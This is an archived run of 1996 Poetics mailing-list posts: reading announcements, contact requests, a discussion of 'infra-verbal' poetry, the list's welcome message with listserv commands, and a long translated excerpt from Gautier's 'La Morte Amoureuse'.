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Scenario #9 Next year, China decides to turn up the heat on Taiwan by establishing a naval blockade of that island nation or threatening a ballistic missile attack;

Scenario #8 Iran tries to close down the Strait of Hormuz in the Persian Gulf, bottling up some 20 percent of the world's oil supplies, or helps topple the monarchy in Saudi Arabia;

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Note: This essay by Kim Holmes, Ph.D., Heritage Foundation vice president and director of foreign and defense policy studies, is adapted from "Restoring American Leadership," 1996, The Heritage Foundation, 288 pages.

[redacted] if you have questions.

↑ Index

211. Eryque Gleason
Re: Anne Waldman reading
Wed 13 Nov 1996

and she will be reading here in albany tomorrow (thursday) in the great big page hall on western avenue. starts at 8 p.m., but i'd get there well before that unless you like the cheap seats (which are just as free as the others).

off the top of my head, i don't know what bravura means, but i'm sure both readings will be a hoot.

eryque

> *Well, in case you ddn't get it by my intrepid manipulations of both sender and subject, Anne Waldman will give one of her bravura performance readings at Temple University on Thursday, 21 November, at 8:00. It's free, and at our NEW reading space, the Temple Gallerynow located at 45 North 2nd Street, and that, folks, i)4|s in PHILADELPHIA. Hurry on by, if you can.*

↑ Index

212. armand schwerner
Re: welcome message
Wed 13 Nov 1996

> *Rev. 9-28-96*
>
> ---
>
> *I've tried again and again and again to get you to send me a digest. If you're unable to do this, I must quit the list. I cannot live with the endless stream of individual messages every day. Please: digest.....now.....*

↑ Index

213. Carnography
Re: call for help; russian verse
Thu 14 Nov 1996

> *From: "Burt Kimmelman [redacted]" <[redacted]>*
> *Subject: call for help; russian verse*

Burt:

Tell your prof pal to contact Igor Satanowski and Inna Mattei of _Koja_. Both are Russian editors and translators who specialize in Russian poetry. You can

reach Igor at the following address: [redacted]. As for Inna, I'll her address by tomorrow.

KOJA
7314 21 Avenue Apt 6E
Brooklyn, NY 11204

All the best,

Rob Hardin

PS: Their inaugural issue contains work by Eileen Myles, Richard Kostelanetz, Raymond Federman, and several new Russian poets of whom I've never heard. The emphasis is on language play; Inna in particular has a remarkable sense of rhythm and an ear for linguistic puns, as in her poem "Citadelic."

§§§

214. Carnography
Re: calls for help: correction
Thu 14 Nov 1996

To the guy who asked for list help (how to set options,
such as receiving the digest rather than individual mail):

Wrong:

write to the following address (NOT the one you reply to) and type help in the subject window. I receive the digest and this is how my options look:

Correction:

write to the following address (NOT the one you reply to) and type help in the MESSAGE BODY.

The address once again:

[redacted]

All the best,

Scrypt

http://www.interport.net/~scrypt

↑ Index

215. Henry Gould
infra-verbal poetry?
Thu 14 Nov 1996

Bob Grumman in the recent Poetics Briefs refers to "infra-verbal" poetry as a new development. Can anyone enlighten me as to what this is? Is this the same as "spoken word"? Thanks - Henry G.

↑ Index

216. Jordan Davis
infraverb / burstnorm
Thu 14 Nov 1996

If I understand Bob Grumman correctly (and I'm not suggesting that I do) he's talking about a sort of post-cummings play of the signifier. Some older examples would be Aram Saroyan's "eyeye" or the page with the word "crickets" printed in a column past the margins to the top and bottom edges of the page. Bob's piece "A New Poetry Anew" was printed in Teachers & Writers Magazine a year or two ago, and at that point he was referring to this kind of work as

'burstnorm' poetry. But as I say, I may not be getting it, and Bob may be talking about something other than 'burstnorm' when he talks about the 'infra-verbal'.

Jordan

↑ Index

217. **Burt Kimmelman**
Re: call for help; russian verse
Thu 14 Nov 1996

---

thanks rob, and i'll pass the information along.

↑ Index

218. **Burt Kimmelman**
Cid Corman
Thu 14 Nov 1996

Does anyone have a recent address etc. for Cid Corman? I need his permission to quote from some of his unpublished letters.

Thanks,

Burt
[redacted]

↑ Index

219. **Burt Kimmelman**
Charles Olson
Thu 14 Nov 1996

I forgot to mention in my last post that I also need permission to quote from some unpublished Charles Olson letters. I've written to Storrs and strangely have not heard back, but in any case I presume I'll need the Olson estate's permission beyond that of the archive's. Can anyone assist with this?

Thanks again,

Burt
[redacted]

↑ Index

220. Jordan Davis
Kevin Young / Janice Lowe
Thu 14 Nov 1996

Ronight at 7 p.m. at Toetry Sity 5 Inion Cq V 7/< Ff MYC
Tonight at 7 p.m. at Poetry City 5 Union Sq W 7th Fl NYC
Kevin Young and Janice Lowe
two members of the Dark Room Collective
will be reading their poetry.
Kevin's first book _Most Way Home_ will be available in paperback.
The reading is free, we'll have wine and food,
all we ask is that you buy one of the many books
(by John Wieners, Alice Notley, Ron Padgett, Samuel R. Delany,
Ben Friedlander, Steve Carll, Maria Damon, Etheridge Knight,
Gary Lenhart, Tim Davis and many others) that we have on display.
The reading starts at 7 or so and people hang out afterwards until about 9.

No pressure,
Jordan

↑ Index

221. Christina Fairbank Chirot
address for Brakhage
Thu 14 Nov 1996

Might anyone have an address for contacting Stan Brakhage? It would be much appreciated.

↑ Index

222. F.A. Templeton
Re: POETICS Digest - 10 Nov 1996 to 11 Nov 1996
Thu 14 Nov 1996

To Alan Golding:

Kathleen Fraser gave an interesting paper on Olson at this fall's conference at the University of New Hampshire.

↑ Index

223. don_cheney
new URL for Don Cheney's Home Page & Clean Neck Shop
Thu 14 Nov 1996

Poeticfolk,

My homepage URL has changed.

Don Cheney's Home Page & Clean Neck Shop is now located at:

http://www.geocities.com/Paris/5791/main.html

My writing page is at:

http://www.geocities.com/Paris/5791/writing.html

And the GREETINGS POETRY LOVERS poem of the week is located at:

http://www.geocities.com/Paris/5791/poem.html

check it out.

don
[redacted]
or
[redacted]

↑ Index

224. Gabrielle Welford
UK STRIKE (fwd)
Thu 14 Nov 1996

Another message from the ukers strikers. gab.
---------- Forwarded message ----------
Date: Wed, 13 Nov 1996 12:36:11 -1000
From: Judy Evans <[redacted]>

My thanks for publicizing this.

The home page -- http://www.aut.org.uk/ -- has an option for
sympathizers to email our employers. It would help if
as many people as possible could do that.

Judy Evans + Politics + [redacted]
using voice-recognition software: please
ignore editing errors

↑ Index

225. **Gabrielle Welford**

call for papers (fwd)

Thu 14 Nov 1996

---------- Forwarded message ----------
Date: Thu, 14 Nov 1996 08:07:13 -1000
From: Richard King <[redacted]>
To: moderator <[redacted]>
Subject: call for papers

Please post.

Despite the much celebrated emergence of postcolonial studies and the current academic interest in colonialism and culture, the cultural and colonial contours of the contemporary United States remain understudied. Indeed, postcolonial theory is largely Eurocentric and as a result has neglected colonialism and culture in the United States. At the same time, recent efforts to push discussions of empire and everyday life in American culture beyond the analyses afforded by cultural imperialism and internal colonialism have had an overly historical cast, denying in effect the continuing imprint of imperial idioms in the contemporary United States. In an effort to explore the ways in which (post)coloniality clarifies and problematizes, legitimates and undermines intersects and articulates with sociocultural formations in the United States, I have initiated an edited collection on postcolonial America. I have received an advance contract, but hope before it goes to press to enhance it. The volume addresses postcoloniality and/in American culture by studying the material conditions, discursive formations, social relations, and cultural patterns of the United States. Although individual contributions to the volume do not speak with one voice, they all problematize common understandings of postcolonialism and America by using postcolonial theory to make sense of and reinterpret aspects of American empire and/or using aspects of American empire to make sense of and reinterpret postcolonial theory. The contributors share, moreover, in a common project to decenter dominant understandings of 'the American experience'. I am seeking papers of 20-30 pages which address postcolonialism and/in American culture. These should be original works, unpublished elsewhere. Importantly, the schedule for revisions is tight, as the manuscript needs to be returned to the publisher in late spring. The substantive focus of prospective papers is open, but pieces using examining the identities, experiences, and/or imaginaries of African Americans, Latinos, Asian Americans, and EuroAmericans in light of postcolonial theories and themes or rethinking the meaning of American empire in transnational terms are especially welcome. Similarly, the theoretical perspectives of prospective contributors is not predetermined; current frameworks include postcolonial, poststructural, neo-marxist, psychoanalytic,

feminist, and interpretive. I would be happy to corespond with interest scholars via email.

Richard King
[redacted]

↑ Index

226. Ken Edwards
Sleight of Foot
Thu 14 Nov 1996

REALITY STREET EDITIONS
presents a reading to launch the first
in the 4packs series of anthologies

SLEIGHT of FOOT
with
Miles Champion
Helen Kidd
Harriet Tarlo

at
COMPENDIUM BOOKSHOP
234 Camden High St, London NW1
(Camden Town tube)
Tuesday 26 November, 7.00pm
FREE
(refreshments provided)

Sleight of Foot, which also contains texts by Scott Thurston, will be on sale at L5. For more details phone Ken Edwards on 0[redacted] or email [redacted]

↑ Index

227. Aldon L. Nielsen
Re: infra-verbal poetry?
Thu 14 Nov 1996

---

unless Bob is having us on, "infraverbal" could not refer to spoken word -- like infrared or infrahuman, this should be some sort of poetics that takes place below (or possibly? within) the verbal --

but it might just be infradig -- will wait to see what Bob says about it

↑ Index

228. **Bil Brown**
Re: infra-verbal poetry?
Thu 14 Nov 1996

Are you meaning sublime meanings -- as in RASA?

more later

↑ Index

229. **Herb Levy**
Re: citation help...
Thu 14 Nov 1996

Joe,

"Life Behind the Screen" by Kali Tal, Wired October 1996, vol 4, #10 pp 134-136.

But isn't there an acceptable format for name of newsstand/bookstore where you read it?

- Herb

> *hey, does anybody out there have a subscription to _wired_?...*
>
> *if so, can you check for me---i'm pretty sure it's the october, but could be the september---issue for a (short, cogent) piece by kali tal on the applicability of african-american criticism and theory to cspace controversies...*
>
> *please backchannel me the issue no., page nos., title of piece---i need mla-style citation info... i read the piece at the newstand, and the library down the street doesn't seem to have that issue handy...*
>
> *many thanx...*
>
> *joe*
> [redacted]

Herb Levy
[redacted]

↑ Index

230. Aldon L. Nielsen
Re: address for Brakhage
Thu 14 Nov 1996

Brakhage would ordinarily be contacted at the Film Studies Department of the University of Colorado at Boulder -- He's on leave this semester due to illness, but still gets his mail -- If you backchannel me with your phone number, I'll pass it on to him -- (Maybe you should indicate what you want to reach him about, so I can tell him?)

He appears to be in pretty good shape now, and is still meeting with his Sunday night film forum here in Boulder --

(By the way, folks, a few of his films are available on video from Mystic Fire at pretty good rates)

↑ Index

231. Robert Drake
Re: infra-verbal poetry?
Thu 14 Nov 1996

> *Bob Grumman in the recent Poetics Briefs refers to "infra-verbal" poetry as a new development. Can anyone enlighten me as to what this is? Is this the same as "spoken word"? Thanks - Henry G.*

Bob has, for many years, been evolving an extensive neologistic taxonomy for dealing w/ "otherstream" (qwertzblatz & co.) poetries... this frm his "Lexicon Grummaniacal", circa 1989:

infra-verbal [is that] poetry in which the main events happen below the level of words, usually in the words' spelling... there are four kinds: fissional (words chopped up to increase expressiveness, e.g., Kempton's "just ice" or Kostelanetz's "the rapist"); fusional where words are joined to increase expressiveness (as in my own "nigthmarriage"); microherent, or minimally coherent--fragments of words used for poetic effect--see much of Basinski; alphaconceptual where what is done inside a word is "equaphorically" highly significant--e.g., the placement of an extra silent "gh" in Saroyan's "lighght"....

this may have been revised since then...

asever [note th fusional infraverbalization...]
luigi

↑ Index

232. **aerialedge**

Fwd: Re: Situ and Lettrist Films at Anthology Film Archives in NY

Fri 15 Nov 1996

Forwarded message:
From: [redacted] (Jeremy Grainger)
To: [redacted]
Date: 96-11-14 22:55:14 EST

We sell both the Debord's Society of the Spectacle and Vienet's Can Dialectics Break Bricks? English subitles by Keith Sanborn.

$39.95 each on VHS (NTSC) video, plus $3.50 UPS ground.

BTW, folks might be interested to know that the next issue of The MIT Press' Journal _October_ (#79) will be a special issue on Guy Debord. It is due out in early 1997.

Jeremy

o ---------- o | [redacted] + [redacted] > | Jeremy Grainger + {!inter!activ!art!radio!etc!} > | Manager + p o box 1136 > | MIT Press Bookstore + cambridge ma 02142 > | 292 Main Street + > | Cambridge MA 02142 + temporary autonomous zone on > | + 'no commercial potential' > | [redacted] + WZBC 90.3 fm - newton ma > | + alt fridays 10 pm - sat 2 am > o ---------- o

---

| Jeremy Grainger [redacted] ||||||| Manager store:[redacted] ||||||| The MIT Press Bookstore direct/ vmail:[redacted] ||||||| 292 Main Street fax: [redacted] | Cambridge MA 02142 Massachusetts Institute of Technology

"Outside of a dog, a book is a man's best friend.
Inside of a dog, it's too dark to read." --Groucho Marx

---> Visit our web pages at http://www-mitpress.mit.edu/bookstore.html
---

↑ Index

233. Brian Carpenter
upcoming Seattle readings
Fri 15 Nov 1996

For those of you in Seattle, or anyone who will be in the area in the coming weeks, a few readings you might want to make note of...

-- NOV. 25, 7:30 pm, at Seattle Pacific University
(3307 3rd W on Queen Anne Hill)
Student Union Building Fireside Room:

Benefit poetry reading for Share Our Strength writers' program for homeless and hungry and Copper Canyon Press of Port Townsend. Participants include DENISE LEVERTOV, SAM HAMILL (founder and editor of Copper Canyon Press), and EMILY WARN. Suggested contribution: $10 ($5 if you're broke).

-- DEC. 2, 7:30 pm, First United Methodist Church
(5th & Marion):

GARY SNYDER will be reading from his long-awaited _Mountains and Rivers Without End_ (Counterpoint). Ticket are $10, available at Elliott Bay Book Company (1 & S Main St.). Proceeds benefit Copper Canyon Press and the Yoruba Watershed Project.

-- DEC. 4, 7:30, at the Elliott Bay Book Company
(1st & S Main):

UMBERTO ECO. Plenty said right there. Tickets are $5, available at Elliott Bay.

And, of course, the always excellent SUBTEXT readings at the Speakeasy.

For info on the Elliott Bay readings, you can contact them at [redacted] or [redacted].

For info on the SPU reading, you can backchannel me.

Hope to see some folks there!

=BCarpenter

""""""

234. R I Caddel
Re: Sleight of Foot
Fri 15 Nov 1996

Also, check out the work of Harriet Tarlo in the latest ed. of Talisman, (number 16, fall 1996, $7.50) which includes a 64 page section of UK poetry ed. by Richard Caddel and Peter Middleton. Distributed in the UK by Paul Green, 83b London Road Peterborough. x x x
Richard Caddel, E-mail: R.I.Caddel @ durham.ac.uk x x Durham University Library, Phone: 0[redacted] x x Stockton Rd. Durham DH1 3LY Fax: 0[redacted] x x x x "Words! Pens are too light. Take a chisel to write." x x
- Basil Bunting x x x

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235. Henry Gould
infra-verbality
Fri 15 Nov 1996

Thanks to all for infra-verbal info. Sounds very funnygawackian. Actually it sounds a lot like Part III of my lung poem "White City", long in Rhody samizdat. Here's an excerpt from #96:

Well they garnered in the parch so mulch pigmeat
Corn that is that cornets unpenned Hen's blightless
Main dome. Wasn't that a mirror, Rory? Me? Mores
Like a miraculosis than a mellow dram o'soul feet.
Ida never Ken wiz border yon boodle war, Maurice--
Maisie! A miletown above the raypoint--no less!

All afore that gale on the balecorny ain't it?
She was hingled on some apocaloosa cardeacon
For a straight O-sphere thanksgiviver lovewar--
I reckon on your birdday, year; now the 4-corner
Liber tiehatcoateoteaparty's card's gamin again
Lovegonedolorosa excruises inner tuba gyrocockpit.

These distortions are sort of produced crypto-geometrically by allusions to previous (& more conventional) sections of the poem. One thing I found interesting was that a STORY began to grow on its own out of this kind of chaotic chance process. "White City" became a weird narrative poem in the last 15% based on chance-geometrical allusions. My apologies for all this self-referentiality, people.- Henry Gould

↑ Index

236. Henry G
there was an excavation in Providence
Fri 15 Nov 1996

Poet/translator Armand Schwerner spoke & read here last night, invited by a comp. lit. class at Brown. The event was part lecture part reading & took place in the lead-cum-aluminum varnish colored stadium seating of the unheated engineering building. Poet/translator Edwin Honig & RI poet fella Stuart Blazer were there alsaho. Schwerner, garbed in a black raincoat (like a negative lab coat) briefly outlined his writing beginnings as a 9-yr old french-speaking emigre to U.S. & resultant anxiety/fascination with translation & "native" speech. Overhead was a majestic chart of the periodic table; on the blackboard some barely legible/effaced equations [Density Jupiter = *(&^T*(MU / 144], along with some moonray fluorescent lighting. Some enjoyable versions of Inuit & other Native American lyrics followed; a pantoum; & readings from The Tablets, the author's intriguing sci-fi scholarly transcription/excavation of a mythical ancient Near Eastern culture. Not having read this work beforehand I can't comment much but Schwerner seems to have developed a long "poem" which makes good reading - have dived with relish with a mixture of Ecclesiastes & comic book to re-create an imaginary clay summer in Sumeria where flesh & blood combat the vast dry mummified desserts of history & clues are erased ("untranslateable") beneath the ziggurat of Ancient Blah. & the suspense mounts as the translator of ancient unreal texts tips time into a hat of archaic shamanisms & the periodic table suddenly manifests a 113th element : @~~++??PTAH - [[eeeeeeeee....!!!]] - Henry Gould

↑ Index

237. Joel Felix
Ark Floats in Chicago
Fri 15 Nov 1996

Just a note to let those who were concerned know that Ronald Johnson read here in Chicago and floored at least half of a boisterous crowd of 150 or so with readings from Ark. Ron wore wide-wales and hoop tortoise-shell specs that made him, as Peter O'Leary suggested, the spitting image of Dr. Freud. The reading went swimmingly *after* my indulgent introduction (having talked abt Orphee with Ron the night before, I rambled on how beautiful Jean Marais was)--Ron reading Beam 4, 30, Spire 34, 44, 49,57, and arches viii (74), and ix (75). We also learned that Sun and Moon will publish in spring '97 *The Outworks* to ARK which will inlude the poem formerly known as Radi Os, now titled *Dome Excised from Paradise Lost,* and the "Blocks to be Arranged in a Pyramid, (in memorium AIDS)."

cheerfully,
Joel Felix

↑ Index

238. **groberts**
excavating providence
Fri 15 Nov 1996

Does anyone know when Schwerner's translation of the Inferno will be published? His reading from it at the NPF Orono event last June is still with me. The Tablets were a great way to clear the way for that descent in the maelstrom of the vernacular. Looking forward to it again. Gary R

↑ Index

239. **Charles Bernstein**
New and Improved Welcome Message
Fri 15 Nov 1996

Note that this new version of the welcome message includes the new listserv address. The new address is in effect now, so send messages to

[redacted]

Rev. 11-15-96

Welcome to the Poetics List

&

The Electronic Poetry Center

sponsored by The Poetics Program, Department of English, Faculty of Art & Letters, of the State University of New York, Buffalo

---

http://writing.upenn.edu/epc

_____Contents_____

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[This document was prepared by Charles Bernstein ([redacted]) and Loss Pequen~o Glazier ([redacted]).]

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1. About the Poetics List

Please note that this is a private list and information about the list should not be posted to other lists or directories of lists. The idea is to keep the list to those with specific rather than general interests, and also to keep the scale of the list small and the volume manageable.

individual posts of participants are sent directly to all subscribers, we continue to work to promote the editorial function of this project. The definition of that project, while provisional, and while open to continual redefinition by list participants, is nonetheless aversive to a generalized discussion of poetry. Rather, our aim is to support, inform, and extend those directions in poetry that are committed to innovations, renovations, and investigations of form and/or/as content, to the questioning of received forms and styles, and to the creation of the otherwise unimagined, untried, unexpected, improbable, and impossible.

The "list owner" of Poetics is Charles Bernstein: contact him for further information. Joel Kuszai is currently working on the administration of the list. For subscription information contact us at [redacted].

---

2. Subscriptions

line, to:

[redacted]

the one-line message should say:

{or}

(replacing Jill Jillway with your own name; but note: do not use your name to unsub)

We will be sent a notice of all subscription activity.

*

If you are having difficulty unsubscribing, please note:

Sometimes your e-mail address may be changed slightly by your system administrator. If this happens you will not be able to send messages to mail. To avoid this, unsub from the old address and resub from the new address. If you can no

longer do this there is a solution if you use Eudora (an e-mail program that is available free at shareware sites): from the Tools menu select "Options" and then select set-up for "Sending Mail": you can substitute your old address here and send the unsub message.

The most frequent problem with subscriptions is bounced messages. If your system is often down or if you have a low disk quota, Poetics messages may get bounced. Please try avoid having messages from the list returned to us. If the problem is low disk quota, you may wish to request an increase from your system administrator. (You may wish to argue that this subscription is part of your scholarly communication!) You may also wish to consider obtaining a commercial account.

---

3. Cautions

Please do not send attachments or include extremely long documents in a post, since this may make it difficult for those who get the list via "digest" or who cannot decode attached or specially formatted files.

In addition to being archived at the EPC, some posts to Poetics (especially reviews, obituary notices, announcements, etc.) may also become part of specific EPC subject areas. (See section 7.)

Please do not send inquiries to the list to get an individual subscribers address. To get this information, see section 6.

If you want someone to send out information to the list as a whole, or supply information missing from an post, please send the request or comment to the individual backchannel, not to the whole list.

---

4. Digest Option

The Poetics List can send a large number of individual messages to your account to each day! If you would prefer to receive ONE message each day, which would include all messages posted to the list for that day, you can use the digest option. Send this one-line message (no subject line) to

[redacted]

set poetics digest

NOTE:!! Send this message to "listserv" not to Poetics or as a reply to this message!!

You can switch back to individual messages by sending this message:

set poetics mail

---

5. Temporarily turning off Poetics mail

Do not leave your Poetics subscription "active" if you are going to be away for any extended period of time! Your account may become flooded and you may lose not only Poetics messages but other important mail. You can temporarily turn off your Poetics subscription by sending a message to "listserv."

set poetics nomail

& turn it on again with: set poetics mail

When you return you can check or download missed postings from the Poetics archive. (See 8 below.)

---

6. Who's Subscribed

To see who is subscribed to Poetics, send an e-mail message to blank. In the body of your e-mail message type:

review poetics

You will be sent within a reasonable amount of time (by return e-mail) a rather long list containing the names and e-mail addresses of Poetics subscribers. This list is alphabetized by server not name.

Please do not send a message to the list asking for the address of a specific subscriber.

---

7. What is the Electronic Poetry Center?

our URL is

http://writing.upenn.edu/epc

The mission of this World-Wide Web based electronic poetry center is to serve as a hypertextual gateway to the extraordinary range of activity in formally innovative writing in the United States and the world. The Center provides access to the burgeoning number of electronic resources in the new poetries including RIF/T and other electronic poetry journals, the POETICS List archives, an AUTHOR library of electronic poetic texts, and direct connections to numerous related electronic RESOURCES. The Center also provides information about contemporary print little magazines and SMALL PRESSES engaged in poetry and poetics. And we have an extensive collection of soundfiles of poets' reading their work, as well as the archive of LINEbreak, the radio interview series.

The EPC is directed by Loss Pequen~o Glazier.

---

8. Poetics Archives via EPC

Go to the EPC and select Poetics from the opening screen. Follow the links to Poetics Archives. You may browse the archives by month and year or search them for specific information. Your interface will allow you to print or download any of these files.

Or set your browser to go directly to:
http://writing.upenn.edu/epc/poetics/archive

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9. Publishers & Editors Read This!

PUBLISHERS & EDITORS: Our listings of poetry and poetics information is open and available to you. We are trying to make access to printed publications as easy as possible to our users and ENCOURAGE you to participate! Send a list of your press/publications to [redacted] with the words EPC Press Listing in the subject line. You may also send materials on disk. (Write file name, word processing program, and Mac or PC on disk.) Send an e-mail message to the address above to obtain a mailing address to which to send your disk. Though files marked up with html are our goal, ascii files are perfectly acceptable. If your word processor ill save files in Rich Text Format (.rtf) this is also highly desirable

Send us extended information on new publications (including any back cover copy and sample poems) as well as complete catalogs/backlists (including excerpts from reviews, sample poems, etc.). Be sure to include full information for ordering--including prices and addresses and phone numbers both of the press and any distributors.

Initially, you might want to send short anouncements of new publications directly to the Poetics list as subscribers do not always (or ever) check the EPC; in your message please include full information for ordering. If you have a fuller listing at EPC, you might also mention that in any Poetics posts.

Some announcements circulated through Poetics and the EPC have received a noticeable responses; it may be an effective way to promote your publication and we are glad to facilitate information about interesting publications.

END OF POETICS LIST WELCOME

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240. Jeff Hansen
(no subject)
Fri 15 Nov 1996

Henry Gould asks what Bob Grumman is referring to by the word"infra-verbal poetry" in a PB article. Since I don't have my grumman books in front of me, I cnan't tell you exactly.

I can,however, tell you that Grumman is one of the quirkiest thinkers on the poetry scene today. He reels out idiosyncratic taxonomies at an astounding rate that are, for me, both humorous and strangely compelling.

His major project is a book entitled OF MANYWHERE AT ONCE and is available from Grumman's own Runaway Spoon Press. I don't have the address, perhaps someone else does. You can probably also get it from Books in Print or from an old PB.

Worth checking out. But be ready for a wildly peculiar, yet ever so carefully argued, take on poetry.

Jeff

P.S. Poetic Briefs 21, a special issue on Alice Notley, is going fast. To insure that you'll receive a copy, send at least 55 cents in stamps to

Jeff Hansen
4055 Yosemeite Ave S
St. Louis Park, MN 55416

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241. Michael Coffey
(no subject)
Fri 15 Nov 1996

Henry Gould asks what Bob Grumman is referring to by the word"infra-verbal poetry" in a PB article. Grumman;s project is a book entitled OF MANYWHERE AT ONCE and is available from Grumman's own Runaway Spoon Press. I don't have the address, perhaps someone else does. You can probably also get it from Books in Print or from an old PB.

Runaway Spoon Press I find in the 1997 Literary Market Place, at Box 3621, Port Charlotte, Florida 33949; tel: [redacted]

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242. Peter Larkin
Michael Heller London Reading
Fri 15 Nov 1996

Michael has asked me to remind UK based members of this list that he will be reading at Sub Voicive on 19 Nov (day of the Universities ' strike) at 8pm. Further details can be had by ringing 0[redacted].
I haven't got the address of the venue with me at the moment.
On 22nd Nov he will be giving a seminar at Durham University. He was here at Warwick on Tuesday, and though we could only arouse a small audience for him he gave an excellent paper followed by a brief reading. Those that came were glad to have arisen.
Peter
Peter Larkin
Philosophy & Literature Librarian
University of Warwick Library,Coventry CV4 7AL UK
Tel:01203 528151 Fax: 01203 524211
Email: Peter.Larkin@.warwick.ac.uk

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243. John Geraets
Re: Ear Inn Wystan's Bill
Fri 15 Nov 1996

Bill & Wystan

Bill's noticed by now how we in NZ (read Aotearoa) are very family-like & on accurate first name terms. Hence Laura counts among us. And then, probably in the same 100 NZ poems, is Wystan's dad, Allen. Actually he is among us the most reputed--some have said about the best living poet in English. A further of his Collecteds is due out soon. Bill, welcome on stepping into the family.

distant cousins

John

↑ Index

244. Ira-Lightman
Re: your mail
Fri 15 Nov 1996

Jeff, for you and EB

Wasted in Epiphany

from "La Morte Amoreuse" by Theophile Gautier

You want to know, dear friend, if I ve had a love life? The answer ... is yes. A marking, harrowing episode; although I m sixty-six, it still feels a fearsomely present ember of memory I hardly bear to breathe near. I will not withhold anything from you; however, I would not so strive to relate this for any soul less wise. This is an experience so heady that it s almost incredible to acknowledge one had it. I, I was the mark for a stunning , mephistophelean stitch-up. Me, a modest country-priest, I dreamed taking on night after night (and would to God that this had been only what I dreamed!) a life of the fallen, a life of the backstreets and Sardanaplus. my fleeting eyes too minded towards dalliance flitted at bodies thinking to bring on the wreck of my soul; however, in the end, with the intercession of God and my particular patron saint, I fluked an exorcism of the evil spirit that had been impairing me. My being had been infiltrated by a night being not the same at all. Sun up, being the Lord s official, untouchable, busily praying and on the sacral businesses; sun down, starting from when my peepers had sealed, becoming a young lordship, top expert in flirtation, in hounds and in horses, scattering dice, quenching and, worse, cursing; and, as I would be coming to at the tickle of dawn, things would always seem so contrariwise, that I was sleeping and I must have been dreaming to think I d ever been a priest. From my sleepwalk came recall-bulletins of matters and mutters which I COULD NOT SHUT OUT - albeit I never once had actually sortied beyond the four walls of a priest s house, one would conclude after hearing me now: that here is one sour of obvious lifelong indulgences who, after which begone days, is taking late orders in order to come to a stop nestling in God s cleavage; not a threadbare trainee cleric who has wizened in a poky parish deep in woods and not in the slightest contact with any of the workings of this century.

The answer is yes: I have had a love life, like nobody on earth has had a love-life, out of a ruthless furies love so violent that I am awe-struck my put-upon heart did not shatter. Ah, these nights, these nights!

PAUSE

Starting from tenderest babyhood, I had experienced my calling to the order of priest; such that all my energies were channelled in that direction and my whole life, till twenty-four years of age, stood but as a long noviciate. The theology done, I passed consecutively all the minor orders, and my masters determined me up, regardless of my extreme youth, to the final and unmistakable graduation. The day of my ordination was set for that Easter week.

I had never travelled the world; the world was for me the corral around my institutions. I vaguely gathered that there existed this something you call sex, but I wasn t going to stop to gather that too tightly; being of a perfect innocence as I was. I wasn t visiting my old sick mother more than twice a year. In that lay all the relating with the outside world I was offering.

I was regretting nothing; I was not experiencing the slightest collywobble before this unrevokeable commitment; one would have been finding me flush with urgency and fervour. No young fiancee watched the kettle boil more febrile, more ardent; I was day-dreaming and night-dreaming that it was me saying the mass; to be a priest, I was envisioning nothing more beautiful the world could offer; I would have put aside any of its crowns or its laureateships. My ambition could conceive of no outside calling.

What I m giving you now is your proof that what came upon me should not have come upon me, of what inexplicable mesmerism I was the victim.

The big day upon me, I proceeded to church, on feet so dainty that it felt as if I were buoyed on the breeze - or I d got wings, off the shoulder style. I was appearing to myself an angel, so was hit with the awful concerned expressions of my retinue; for we were of a number. I had spent all night at prayer, and I was in a state of the order of what gets pretty close to an ecstasy. Bishop Veteran the Venerable was coming to seem to me like Father God Almighty shepherding eternity, and wasn t that the great firmament to be seen through the high vaults of this temple?

I ll spare you all the details of an occasion you know well: the benediction, the communion within both traditions, anoint the palm with oil of Catechumens, lastly the sanctified offering done in concert with the Bishop. I won t verbalise

stiflingly on and on about that. Oh, Job had it right, that fellow s unwise whose regimen doesn t prioritise the eyes. I happened to lift my head, which I d been until then keeping down, and I spied before me - I could have been near enough to touch, except this young one stood in reality a way off on the other side of a guard-rail - a strawberry blonde of such a rare beauty, awash in regal splendour. It was as if I was descaled of my eyelids. I experienced the clichi of the blindman immediately regaining sight. The bishop, so refulgent when I d rared to go, winked out just so; the candles guttered on their gold chandeliers like stars snuffed at dawn; the whole church had been occulted. The strawberry blonde alone stood out in this deep deep shadow, like a pentecostal archangel. Alone appeared a light source, to give daylight more than to take it.

I hung my lids, really set against ever again undrooping
them to surrender to the pull of worldly things; for the
magnet was pushing across and through my every border, and I
was barely aware of what I could have been said to be up to.

A minute on, I opened again, as, like a guard s torch beam
picking out the decor on the retinal back wall of an empty
building darkened with the venetian blinds closed, I was
seeing this scintillating one strobe a procession of band
next to band of the colour spectrum through my blinds, and
all inside a mauve crimson edge glow, such as you see
looking at the sun.

And, oh, hello, good looking! The Greatest Masters who,
scouring heaven for beauty s ideal, midwife back on earth
Holy likenesses of the Blessed Virgin, don t come close to
the fabulous reality there. Neither the bard s sonnets nor
the great masters pallets can give you any idea of it. This
one was so tall, with the sculptedness and grace of a deity;
hair the strawberry and blonde of a dusk sun peeking over
the crown s parting, branching two gold rivers over the
brow; one would have said a monarch s fit crown; temples
like dry bright cloud spanning sturdy and light the
pediments of dusk brown eyelashes, the latter only there to
distinguish more the apple-green sea-green unbearable bright
fox-trotting eyes. Oh, such eyes; taking quick hold and
showing you straightaway to your destiny; they were living,
limpid-ing, ardour-ing, glistened as I have never seen a
human eye do; brilliance escaped from them in streaks
similar to arrows which I singularly saw sink into my heart.
I don't know if the hearthfire that spat them was heaven s
or hell s, for sure it was from one or the other s. My

strawberry blonde was an angel or a devil, and maybe both;
Eve s thirteenth rib! No, this one just wasn t of the
mother we can all call mamma. Mother of pearl TEETH smiling
in very red lips, yes, tiny dimples putting themselves
around each expression of the mouth by the flexing of light
satin cheeks. The nose, that had a finesse and boldness
about it, come undeniably from nobility. Lustre of agate
played over the calm glowing skin of the nakedly shown off
collarbone and then globes of chunky pearls, blond pearls,
almost as blond pearl as the neck, laced down onto and over
the swell of the clothed torso.

The head of the owner of all of this was now and again
restoring attention to itself by looking up with the slow
ripple of a field snake, or a peacock that s strutting, and
was inspiring each time tiny shudders around a collar decked
with handstitched embroidery like a lattice of pure silver.

Had on a top in a velvet of red-orange, full sleeves with
ermine all the way through lining them and out of them
extended a patrician s hands of endless refinement, long
soft fingers of such a perfect translucence that they let
light just carry through them, as the fingers of dawn do.

PAUSE

All of these details stand to me still as closely as if they
dated from yesterday and, accepted that I WAS highly
afflicted, none of them got missed: the trivialest nuance,
the pinpoint of dark at the nook of the chin, the
unnoticeable downy hairs at the joins of the lips, the
velvet forehead, the fine shadow echo of the eyelashes over
the cheek, I caught everything with stunning perspicacity.

